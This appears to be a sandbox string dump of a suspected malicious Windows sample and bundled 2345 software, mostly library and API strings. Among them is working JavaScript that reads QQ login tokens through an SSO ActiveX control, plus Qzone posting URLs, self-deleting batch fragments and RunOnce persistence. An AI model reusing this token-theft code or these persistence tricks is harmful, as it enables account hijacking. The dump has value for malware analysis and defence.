%C%w%
%u#/!
!H%d(
%s%`&
~(7/")>*
%u'h(
#t%D(;)
%C)U(>(
%s)8$
[.ZM59
%u'U'
6%6s5
)\%c#
$x%X%d$
%x%_ I
9%d .-
B%u#E
1.2.18
p%*.*f
MSWHEEL_ROLLMSG
RASAPI32.dll
RPCRT4.dll
AVIFIL32.dll
RegCreateKeyA
oledlg.dll
WSOCK32.dll
InternetCrackUrlA
InternetCanonicalizeUrlA
\\.\Scsi0:
\\.\PhysicalDrive0
KeyJOYBUTN12
KeyJOYBUTN11
KeyJOYBUTN10
KeyNUMKEYS
KeyJOYBUTN9
KeyJOYBUTN8
KeyJOYBUTN7
KeyJOYBUTN6
KeyJOYBUTN5
KeyJOYBUTN4
KeyJOYBUTN3
KeyJOYBUTN2
KeyJOYBUTN1
KeyJOYBUTN0
KeyMOUSEBUTN4
KeyMOUSEMIDDLE
KeyMOUSERIGHT
KeyMOUSELEFT
KeyPAUSE
KeyPRINTSCRN
KeySCROLLLOCK
KeyCAPSLOCK
KeyNUMLOCK
KeyNUM9
KeyNUM8
KeyNUM7
KeyNUM6
KeyNUM5
KeyNUM4
KeyNUM3
KeyNUM2
KeyNUM1
KeyNUM0
KeyNUMPERIOD
KeyNUMENTER
KeyNUMPLUS
KeyNUMMINUS
KeyNUMSTAR
KeyNUMSLASH
KeyPGDN
KeyPGUP
KeyEND
KeyHOME
KeyDEL
KeyINS
KeyF12
KeyF11
KeyF10
KeyF9
KeyF8
KeyF7
KeyF6
KeyF5
KeyF4
KeyF3
KeyF2
KeyF1
KeyDOWNARROW
KeyUPARROW
KeyRIGHTARROW
KeyLEFTARROW
KeyRIGHTALT
KeyLEFTALT
KeyRIGHTCTRL
KeyLEFTCTRL
KeyRIGHTSHIFT
KeyLEFTSHIFT
KeyDELETE
KeyTILDA
KeyRCURLY
KeyPIPE
KeyLCURLY
KeyZ
KeyX
KeyW
KeyV
KeyU
KeyT
KeyS
KeyR
KeyQ
KeyP
KeyO
KeyN
KeyM
KeyL
KeyK
KeyJ
KeyI
KeyH
KeyG
KeyF
KeyE
KeyD
KeyC
KeyB
KeyA
KeyGRAVE
KeyUNDERSCORE
KeyCARETE
KeyRBRACKET
KeyBACKSLASH
KeyLBRACKET
KeyCZ
KeyCY
KeyCX
KeyCW
KeyCV
KeyCU
KeyCT
KeyCS
KeyCR
KeyCQ
KeyCP
KeyCO
KeyCN
KeyCM
KeyCL
KeyCK
KeyCJ
KeyCI
KeyCH
KeyCG
KeyCF
KeyCE
KeyCD
KeyCC
KeyCB
KeyCA
KeyAT
KeyQMARK
KeyGREATERTHEN
KeyEQUALS
KeyLESSTHEN
KeySEMICOLON
KeyCOLON
KeySLASH
KeyPERIOD
KeyDASH
KeyCOMMA
KeyPLUS
KeyASTERISC
KeyRBRACE
KeyLBRACE
KeyAMPERSAND
KeyPERCENT
KeyDOLLAR
KeyPOUND
KeyDQUOTE
KeyBANG
KeySPACE
KeyESCAPE
KeyENTER
KeyTAB
KeyBACKSPACE
\d3drm.dll
\dplayx.dll
\dsound.dll
\dinput.dll
\ddraw.dll
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
HTTP/1.0
%s <%s>
Reply-To: %s
From: %s
To: %s
Subject: %s
Date: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
SMTP
(*.htm;*.html)|*.htm;*.html
Bag pipe
close %s
(*.avi)|*.avi
WPFT532.CNV
WPFT632.CNV
EXCEL32.CNV
write32.wpc
Windows Write
mswrd632.wpc
Word for Windows 6.0
wword5.cnv
Word for Windows 5.0
mswrd832.cnv
mswrd632.cnv
Word 6.0/95 for Windows & Macintosh
html32.cnv
keywords
;3 #>6.&
'2, / 0&7!4-)1#
.PAVCOleException@@
.PAVCOleDispatchException@@
c:\%original file name%.exe
1, 0, 6, 6
- Skin.dll
@advapi32.dll
A.lnk
cmd.exe /c del "
Software\Microsoft\Windows\CurrentVersion\RunOnce
Windows Registry Editor Version 5.00
sfx.reg
regedit.exe
" (del %0) else (ping 127.0.0.1 -n 2&del "
%sD.%.03d.%.03d
A.exe
.sfxv
shlwapi.dll
%.03d%s
mkernel32.dll
2345.com
("%s")
Mapi32.dll
.txtr
:hXXp://haozip.2345.com/
%s (%s
(%d%%)
%s(%s)
%.02d:%.02d:d
%s %s
00:00:00
"%s\" (&E)
"%s"(&W)
"%s"(&T)
"%s"(&G)
(*.theme.7z;*.theme.zip)|*.theme.7z;*.theme.zip|
(*.*)|*.*||
%s ...
Windows
%s(%d,(Ln%I64d))
%s(%d,(Ch%I64d))
(%d)%s
(*.htm;*.html)|*.htm;*.html|
(*.asp;*.aspx;*.php; *.php3;*.jsp;*.asax;*.js;*.css)|*.asp;*.aspx;*.php; *.php3;*.jsp;*.asax;*.js;*.css|
(*.java;*.c;*.h;*.cpp;*.vb;*.vbs;*.vs)|*.java;*.c;*.h;*.cpp;*.vb;*.vbs;*.vs|
(*.*)|*.*|
1 - 102400
>.iso(
2 - 1024
1457664 - 3.5"
tar.gz
tar.bz2
tar.xz
%dx%d
... %d%%
WEBP
5.1.1.10102
12345pcsafe_k1742288.exe
(*.*)
1.0.0.0
(hXXp://VVV.eyuyan.com)
-22>47>=-
$/.47/869: 1
$(.) .*$
)$5,0(.#02$
!&#/3/3 .
(14<9:;5;<1
# ,093 ')79/*
,>874,/*19< 
37012(&"!
.EhnZG-
6.lmm(
% %<7.34%
(0'?9,2/
%?5,) !&&
(Hc87U]PCQUhX.MyjiYOR]zlEHKEOH
%.HUtlw
&3567856640,&
.Zfea}
%!%$##$#%
( *-446276.(.$
*2617,*  $
%' (( , 02-,)0 ,'',
'wT.VH
HSqL9ZR8
&2 2::0;>:.98, 68)/47--
, (!1?P=.CE?,
.NS&n
$@$%$%:4&
'.Zd0
&0PZA!>C2.FQ-
)'1/212:@=@'
'');9&0!(.$*0'
-"&%%0 " ))4
6332$&$ !
'/%1/("-&
/276-/ ;:63/
#**-4-0,7;92,
==7/.09*'!.3
-)539;16))
#'().,)-/%, '/) $
&*&*0, #)%
!.,.20/.,'''$ &""
$ -)-)&%
%SYfK
&.0 6?3)
, '*&$/#%0(,74185)(
#875@."!
#&*/157635162. &
%Ul4PN
".KSPh
@\YTQIR^u<9?7HSH:-D}
BUL_uqNJ<
%,.21/, )* )&!
.Gb_lkyyrc`^96000$
$"%%$#&&&$(&%(%%$"!
L$ÒLFL85\10(:
*)!"#1<3/151
|G.Ox`_IQq1
#% .2499;;:977763/ $
'6. 85,/5:',-"
(9.0;"'. "2,)2*
$'#*(&%/*,%
.QQOdtnx
0B3.LkV
.dkI8
..,.FmybK@ 
$)45/30'"
)345.-0 -,""
'',) *-3
.QbXWZA
"$&",) , 
-45532 4673/,$
%$$$#& (#

%original file name%.exe_1772_rwx_10000000_0003E000:

`.rsrc
L$(h%f
SSh0j
msctls_hotkey32
TVCLHotKey
THotKey
\skinh.she
}uo,x6l5k%x-l h
9p%s m)t4`#b
e"m?c&y1`Ð<
SetViewportOrgEx
SetViewportExtEx
SetWindowsHookExA
UnhookWindowsHookEx
EnumThreadWindows
EnumChildWindows
`c%US.4/
!#$<#$#=
.text
`.rdata
@.data
.rsrc
@.UPX0
`.UPX1
`.reloc
hJK.ZH
O.qt0
KERNEL32.DLL
COMCTL32.dll
GDI32.dll
MSIMG32.dll
MSVCRT.dll
MSVFW32.dll
USER32.dll
SkinH_EL.dll
1, 0, 6, 6
- Skin.dll

³ÉÆ·.exe_1908:

.text
`.rdata
@.data
.rsrc
t$(SSh
~%UVW
u$SShe
atl.dll
wininet.dll
user32.dll
kernel32.dll
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
MsgWaitForMultipleObjects
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&clientkey=
hXXp://ptlogin2.qq.com/jump?clientuin=
hXXp://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
skey
hXXp://url.cn/fgcJDD
qb123456.com
#home&syn_tweet_verson=1&richtype=&richval=&special_url=&subrichtype=&who=1&con=qm
qzreferrer=http://user.qzone.qq.com/
hXXp://taotao.qq.com/cgi-bin/emotion_cgi_publish_v6?g_tk=
SSOAxCtrlForPTLogin.SSOForPTLogin2
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
document.body.innerHTML=GetuinKey();
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g<f;g  ){var E=V.GetData(g);var P=E.GetDWord("dwSSO_Account_dwAccountUin");var U=E.GetStr("strSSO_Account_strNickName");var G=E.GetBuf("bufST_PTLOGIN");var A=G.GetSize();var N="";for(var Y=0;Y<A;Y  ){var B=G.GetAt(Y).toString("16");if(B.length==1){B="0" B};N =B};text =P '|' U '|' N ';'}}catch(b){}};return text};
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
http=
https
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
hXXps://
hXXp://
len = str.length; i < len;   i) hash  = (hash << 5)   str.charCodeAt(i);
var t = QZONE.FormSender;
if (t && t.pluginsPool) t.pluginsPool.formHandler.push(function(fm) {
var a = QZFL.string.trim(fm.action);
a  = (a.indexOf("?") > -1 ? "&": "?")   "g_tk="   QZFL.pluginsDefine.getACSRFToken();
fm.action = a
VVV.qb123456.com
%d&&'
123456789
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
F%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
__MSVCRT_HEAP_SELECT
Broken pipe
Inappropriate I/O control operation
Operation not permitted
iphlpapi.dll
SHLWAPI.dll
MPR.dll
WINMM.dll
WS2_32.dll
VERSION.dll
GetProcessHeap
WinExec
KERNEL32.dll
GetKeyState
USER32.dll
GetViewportOrgEx
GDI32.dll
WINSPOOL.DRV
RegCloseKey
RegOpenKeyExA
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
ole32.dll
OLEAUT32.dll
COMCTL32.dll
WININET.dll
GetCPInfo
CreateDialogIndirectParamA
UnhookWindowsHookEx
SetWindowsHookExA
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
comdlg32.dll
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
.PAVCException@@
(&07-034/)7 '
?? / %d]
%d / %d]
.PAVCFileException@@
: %d]
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
.PAVCNotSupportedException@@
out.prn
(*.prn)|*.prn|
%d.%d
%d/%d
1.6.9
unsupported zlib version
png_read_image: unsupported transformation
%d / %d
Bogus message code %d
libpng error: %s
libpng warning: %s
1.1.3
bad keyword
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
(%d-%d):
%ld%c
VVV.dywt.com.cn
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
zcÁ
#include "l.chs\afxres.rc" // Standard components
(*.*)
1.0.0.0
(hXXp://VVV.eyuyan.com)

2345SafeSvc.exe_408:

.text
`.rdata
@.data
.rsrc
@.reloc
CryptCATCatalogInfoFromContext
CertNameToStrW
F:\2345
\1.3.0.5362\guard\bin\Win32\Release\pdb\2345SafeSvc.pdb
KERNEL32.dll
ADVAPI32.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
__crtGetShowWindowMode
_amsg_exit
_acmdln
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtSetUnhandledExceptionFilter
W `%F
.Bz]Ik
RB.%f~]
X-Wq}
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="2345Safe" type="win32"></assemblyIdentity><description>2345Safe</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS></application></compatibility></assembly>
303F3`3j3
2345SafeService.dll
2345.com
wintrust.dll
crypt32.dll
AdvApi32.dll
hXXp://VVV.2345.com
1.3.0.5363
2345SafeSvc.exe
1.3.0

2345SoftSvc.exe_136:

.text
`.rdata
@.data
.rsrc
@.reloc
CryptCATCatalogInfoFromContext
CertNameToStrW
F:\2345SafeBuild\2345guard.v1.3.0.build.18\softmgr\bin\Win32\Release\pdb\2345SoftSvc.pdb
KERNEL32.dll
ADVAPI32.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
__crtGetShowWindowMode
_amsg_exit
_acmdln
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtSetUnhandledExceptionFilter
%@O%c
.Ch>]
.AUM"BP
HeJ%U
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
2345SoftService.dll
2345.com
wintrust.dll
crypt32.dll
AdvApi32.dll
hXXp://VVV.2345.com
1.3.0.5250
Copyright (C) 2015 2345.com
2345SoftSvc.exe

2345MPCSafe.exe_1856:

.text
`.rdata
@.data
.rsrc
@.reloc
8%u/j
F%C;_t
A%F;wt|
H%F;wt|
tT;.wP
.6.78.9:;
B.CDEFFG
uDPj
;L$$}.QV
s$
keyname
crtext
|-35, 10
0,0,-0,-0
skin%d
sub%d
0,0,-0,%d
0,-%d,-0,-0
RegCreateKeyTransactedW
RegOpenKeyTransactedW
RegDeleteKeyTransactedW
SQLite format 3
REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYWITHOUTERELEASEATTACHAVINGROUPDATEBEGINNERECURSIVEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTRIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY
CREATE TABLE sqlite_master(
sql text
3.8.7.4
CREATE TEMP TABLE sqlite_temp_master(
OpenFileMapping failed: %d
MapViewOfFile failed: %d
CreateFileMapping failed: %d
msgtext
0,71,-0,-36
0,0,-0,70
0,71,-250,-36
0,0,-250,70
212,120,600,145
240,120,600,145
XXX
90,25,-220,45
90,15,-220,35
First file name is %s
Next file name is %s
0,81,-249,-0
0,81,-249,-32
90,26,500,60
WinHttpOpen
WinHttpOpenRequest
WinHttpConnect
WinHttpSendRequest
WinHttpAddRequestHeaders
WinHttpQueryHeaders
WinHttpReceiveResponse
WinHttpCloseHandle
WinHttpReadData
WinHttpSetOption
WinHttpCrackUrl
WinHttpSetTimeouts
HttpAddRequestHeadersW
HttpOpenRequestW
HttpQueryInfoW
HttpSendRequestW
InternetCrackUrlW
CryptCATCatalogInfoFromContext
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
userinit.exe
explorer.exe
WebBrowsers
DdexecDefaultValue
&#xX;
</%s>
%s="%s"
%s='%s'
<!--%s-->
<![CDATA[%s]]>
version="%s"
encoding="%s"
standalone="%s"
Windows XP: GB18030 Simplified Chinese (4 Byte)
RegOpenKeyExW
RegCloseKey
ShellExecuteW
CertNameToStrW
NetWkstaTransportEnum
SQLITE_
d-d-d d:d:d
d:d:d
d-d-d
failed to allocate %u bytes of memory
failed memory resize %u to %u bytes
API call with %s database connection pointer
922337203685477580
RowKey
GetProcessHeap
delayed %dms for lock/sharing conflict
os_win.c:%d: (%lu) %s(%s) - %s
%s-shm
%s%c%s
recovered %d pages from %s
cannot limit WAL size: %s
recovered %d frames from WAL file %s
2nd reference to page %d
Failed to read ptrmap key=%d
invalid page number %d
failed to get page %d
freelist leaf count too big on page %d
Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)
%d of %d pages missing from overflow list starting at %d
btreeInitPage() returns error code %d
On tree page %d cell %d:
Page %d:
unable to get the page. error code=%d
On page %d at right child:
Corruption detected in cell %d on page %d
Multiple uses for byte %d of page %d
Fragmentation of %d bytes reported as %d on page %d
Outstanding page count goes from %d to %d during this analysis
Page %d is never used
Pointer map page %d is referenced
unknown database %s
%s(%d)
%s-mjXXXXXX9XXz
-mjX9X
FOREIGN KEY constraint failed
MJ delete: %s
MJ collide: %s
unable to use function %s in the requested context
zeroblob(%d)
bind on a busy prepared statement: [%s]
abort at %d in [%s]: %s
%s constraint failed: %s
FOREIGN KEY
no such savepoint: %s
cannot release savepoint - SQL statements in progress
%s constraint failed
cannot open savepoint - SQL statements in progress
cannot commit transaction - SQL statements in progress
sqlite_master
SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
sqlite_temp_master
cannot change %s wal mode from within a transaction
database table is locked: %s
statement aborts at %d: [%s] %s
cannot open virtual table: %s
cannot open value of type %s
no such column: "%s"
foreign key
cannot open table without rowid: %s
cannot open view: %s
indexed
cannot open %s column for writing
%s: %s.%s.%s
misuse of aliased aggregate %s
%s prohibited in partial index WHERE clauses
%s prohibited in CHECK constraints
%s: %s.%s
%s: %s
not authorized to use function: %s
%r %s BY term out of range - should be between 1 and %d
too many terms in %s BY clause
too many SQL variables
too many columns in %s
Expression tree is too large (maximum depth %d)
variable number must be between ?1 and ?%d
EXECUTE %s%s SUBQUERY %d
hex literal too big: %s
misuse of aggregate: %s()
sqlite_rename_table
sqlite_rename_trigger
%.*s"%w"%s
%s%.*s"%w"
%s OR name=%Q
type='trigger' AND (%s)
sqlite_rename_parent
table %s may not be altered
there is already another table or index with this name: %s
sqlite_
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
sqlite_sequence
view %s may not be altered
UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Cannot add a PRIMARY KEY column
UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
sqlite_altertab_%s
sqlite_stat1
sqlite_stat4
CREATE TABLE %Q.%s(%s)
sqlite_stat3
DELETE FROM %Q.%s WHERE %s=%Q
SELECT tbl,idx,stat FROM %Q.sqlite_stat1
database %s is already in use
too many attached databases - max %d
no such database: %s
cannot detach database %s
unable to open database: %s
sqlite_detach
sqlite_attach
database %s is locked
access to %s.%s.%s is prohibited
%s %T cannot reference objects in database %s
%s cannot use variables
access to %s.%s is prohibited
object name reserved for internal use: %s
too many columns on %s
duplicate column name: %s
there is already an index named %s
AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY
default value of column [%s] is not constant
table "%s" has more than one primary key
PRIMARY KEY missing on table %s
CREATE %s %.*s
UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
CREATE TABLE %Q.sqlite_sequence(name,seq)
sqlite_stat%d
DELETE FROM %Q.sqlite_sequence WHERE name=%Q
view %s is circularly defined
UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d
table %s may not be dropped
use DROP TABLE to delete table %s
DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
sqlite_stat
number of columns in foreign key does not match the number of columns in the referenced table
unknown column "%s" in foreign key definition
use DROP VIEW to delete view %s
foreign key on %s should reference only one column of table %T
table %s may not be indexed
cannot create a TEMP index on non-TEMP table "%s"
there is already a table named %s
index %s already exists
views may not be indexed
virtual tables may not be indexed
sqlite_autoindex_%s_%d
table %s has no column named %s
no such index: %S
CREATE%s INDEX %.*s
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
DELETE FROM %Q.%s WHERE name=%Q AND type='index'
a JOIN clause is required before %s
%s.%s
duplicate WITH table name: %s
no such collation sequence: %s
%s.rowid
unable to identify the object to be reindexed
table %s may not be modified
cannot modify %s because it is a view
sqlite_version
sqlite_compileoption_used
sqlite_compileoption_get
sqlite_source_id
sqlite_log
table %S has no column named %s
table %S has %d columns but %d values were supplied
foreign key mismatch - "%w" referencing "%w"
sqlite3_extension_init
%d values for %d columns
unable to open shared library [%s]
sqlite3_
automatic extension loading failed: %s
no entry point [%s] in shared library [%s]
error during initialization: %s
foreign_key_check
defer_foreign_keys
foreign_key_list
foreign_keys
*** in database %s ***
NULL value in %s.%s
unsupported encoding: %s
unsupported file format
malformed database schema (%s)
%s - %s
SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
database schema is locked: %s
RIGHT and FULL OUTER JOINs are not currently supported
a NATURAL join may not have an ON or USING clause
unknown or unsupported join type: %T %T%s%T
cannot have both ON and USING clauses in the same join
cannot join using column %s - column not present in both tables
USE TEMP B-TREE FOR %s
column%d
%s:%d
COMPOUND SUBQUERIES %d AND %d %s(%s)
SELECTs to the left and right of %s do not have the same number of result columns
ORDER BY clause should come after %s not before
LIMIT clause should come after %s not before
circular reference: %s
table %s has %d values for %d columns
no such index: %s
multiple references to recursive table: %s
sqlite_sq_%p
too many references to "%s": max 65535
multiple recursive references: %s
recursive reference in a subquery: %s
no such table: %s
%s.%s.%s
SCAN TABLE %s%s%s
sqlite3_get_table() called with two or more incompatible queries
INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
cannot create %s trigger on view: %S
cannot create INSTEAD OF trigger on table: %S
no such column: %s
no such trigger: %S
-- TRIGGER %s
cannot VACUUM - SQL statements in progress
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
PRAGMA vacuum_db.synchronous=OFF
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)
vtable constructor did not declare schema: %s
vtable constructor failed: %s
automatic index on %s(%s)
no such module: %s
table %s: xBestIndex returned an invalid plan
SUBQUERY %d
ANY(%s)
PRIMARY KEY
TABLE %s
AS %s
COVERING INDEX %s
INDEX %s
USING INTEGER PRIMARY KEY
at most %d tables in a join
VIRTUAL TABLE INDEX %d:%s
%s.xBestIndex() malfunction
the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
SQL logic error or missing database
unknown operation
large file support is disabled
unknown database: %s
no such vfs: %s
no such %s mode: %s
%s mode not allowed: %s
cannot open file at line %d of [%.10s]
no such table column: %s.%s
database corruption at line %d of [%.10s]
misuse at line %d of [%.10s]
docid INTEGER PRIMARY KEY
%z, 'c%d%q'
CREATE TABLE x(%s %Q HIDDEN, docid HIDDEN, %Q HIDDEN)
CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
CREATE TABLE %Q.'%q_content'(%s)
,%s(x.'c%d%q')
CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
PRAGMA %Q.page_size
FROM '%q'.'%q%s' AS x
,%s(?)
notindexed
unrecognized matchinfo: %s
unrecognized parameter: %s
error parsing prefix parameter: %s
unrecognized order: %s
SELECT %s WHERE rowid = ?
missing %s parameter in fts4 constructor
illegal first argument to %s
SELECT %s ORDER BY rowid %s
SELECT 1 FROM %Q.sqlite_master WHERE tbl_name='%q_stat'
porter
FTS expression tree is too large (maximum depth %d)
malformed MATCH expression: [%s]
unknown tokenizer: %s
SELECT %s WHERE rowid=?
INSERT INTO %Q.'%q_content' VALUES(%s)
%s_segments
SELECT %s
%d %d %d %d
unrecognized matchinfo request: %c
SELECT stat FROM %Q.sqlite_stat1 WHERE tbl = '%q_rowid'
CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
%s, %s
CREATE TABLE x(%s
%s {%s}
F:\2345
\1.3.0.5362\guard\bin\Win32\Release\pdb\2345MPCSafe.pdb
?UpdateData@RCCompsite@RC@@UAEXV?$shared_ptr@VRCComponentOperator@RC@@@boost@@ABW4RCUpdatePriority@@_N@Z
?UpdateData@RCLeaf@RC@@UAEXV?$shared_ptr@VRCComponentOperator@RC@@@boost@@ABW4RCUpdatePriority@@_N@Z
?GetOperateType@RCComponentObserverParam@RC@@QAEKXZ
2345SafeDispatcher.dll
WININET.dll
GetWindowsDirectoryW
KERNEL32.dll
GetKeyState
USER32.dll
SetViewportOrgEx
GDI32.dll
COMDLG32.dll
RegEnumKeyExW
RegDeleteKeyW
RegQueryInfoKeyW
RegCreateKeyExW
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
MSVCR110.dll
_calloc_crt
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtGetShowWindowMode
_amsg_exit
_wcmdln
__crtSetUnhandledExceptionFilter
SHLWAPI.dll
COMCTL32.dll
GdiplusShutdown
gdiplus.dll
MSVCP110.dll
PSAPI.DLL
VERSION.dll
2345FsMon.dll
RegEnumKeyW
2345MPCSafe.exe
??0RCComponentOperator@RC@@QAE@ABV01@@Z
??0RCComponentOperator@RC@@QAE@XZ
??1RCComponentOperator@RC@@UAE@XZ
??4RCComponentOperator@RC@@QAEAAV01@ABV01@@Z
??_7RCComponentOperator@RC@@6B@
?GetNode@RCComponentOperator@RC@@QAE?AV?$weak_ptr@VRCComponent@RC@@@boost@@XZ
?GetObserver@RCComponentOperator@RC@@QAE?AV?$weak_ptr@VRCObserverIF@RC@@@boost@@XZ
?GetParent@RCComponentOperator@RC@@QAE?AV?$weak_ptr@VRCComponent@RC@@@boost@@XZ
?GetReserverParam@RCComponentOperator@RC@@QAEKXZ
?IsUpdateAllObserver@RCComponentOperator@RC@@QAE_NXZ
?SetNode@RCComponentOperator@RC@@QAEXV?$weak_ptr@VRCComponent@RC@@@boost@@@Z
?SetObserver@RCComponentOperator@RC@@QAEXV?$weak_ptr@VRCObserverIF@RC@@@boost@@@Z
?SetParent@RCComponentOperator@RC@@QAEXV?$weak_ptr@VRCComponent@RC@@@boost@@@Z
